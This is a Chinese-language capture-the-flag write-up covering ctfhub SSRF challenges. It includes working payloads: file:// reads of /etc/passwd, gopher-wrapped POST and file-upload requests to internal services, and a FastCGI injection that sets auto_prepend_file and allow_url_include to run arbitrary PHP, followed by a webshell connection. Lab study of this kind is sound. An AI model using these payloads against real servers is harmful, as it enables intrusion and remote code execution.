1.简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)
~~~~~~~
emm在我的理解里,ssrf漏洞即 我们给服务器发送一个请求(该请求使得服务器去向请求资源来向我们展示),而服务器能够请求到与自身相连而与外网隔绝的内部网络系统。从而实现ssrf攻击。
ssrf–每天都要努力哇
~~~~~~ SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器
存在点:详见上述引用的博客。
简单的操作及利用
协议-My_Dreams
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
http/s协议:探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
2.ctfhub题目
1)内网访问
根据题目提示直接让让服务器去访问127.0.0.1/flag.php并给我们回显
2)伪协议读取文件
ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php
3)端口扫描
这里不用协议,只是简单的访问就行。
4)POST请求
题目中提到了curl,所以可以利用ghoper协议 post请求/flag.php 并携带key参数
1.post请求
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=8a6d748f4f820709cd9e444991d49dd0
Content-Length的值 应该为你 POST 请求的长度 length(key=8a6d748f4f820709cd9e444991d49dd0)=36
上述四行必备
gopher协议利用
2.用gopher协议发过去
注意:
Gopher协议没有默认端口所以要指定
格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher协议使用时的要求
1.对换行的处理 ~~~ 正常url编码换行为%0A gopher协议需要把%0A改成%0D%0A
2.在url后加入一个字符_(该字符可随意写),不会被接收
3.再次url编码
5)上传文件
尝试 url=127.0.0.1/flag.php 发现是上传一个文件
尝试file协议读取
url=file:///var/www/html/flag.php
接着审计就是上传文件
写个提交按钮,上传一个文件并用bp拦截下来
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
这里的长度292是指
(------WebKitFormBoundary1lYApMMA3NDrr2iY到…dary1lYApMMA3NDrr2iY–)同时包含 前后的换行符 要再加4
构造post请求
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
然后将其先url一次 然后在记事本里 用%0D%3A替换 接着再url一次就可以上传了
post上传文件格式–小尹同学
6)FastCGI协议
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
emm,大概看懂了一点:
再强调一下,
把fastcgi类比http去看
http人家发送的东西长这样:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=8a6d748f4f820709cd9e444991d49dd0
而fastcgi发送的东西类似一个json串,长这样:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
那么,我们怎么设置auto_prepend_file的值?
这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
emm,简单来讲,就是发个这样的东西:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
PHP-FPM默认监听9000端口
emm,再简单点来说,payload即
url=gopher://127.0.0.1:9000/_此处再加上上面fastcgi发送的东西然后需按照gopher的要求
~~~
然后此处大佬提供工具名字是gopherus
注意是python2的环境,建议linux环境
然后把生成的exp再url编码一次发过去就行了
然后就可以用antsword连接了
最后就能得到flag。
ctfhub利用SSRF攻击内网FastCGI协议
ctfhub-fastcgi协议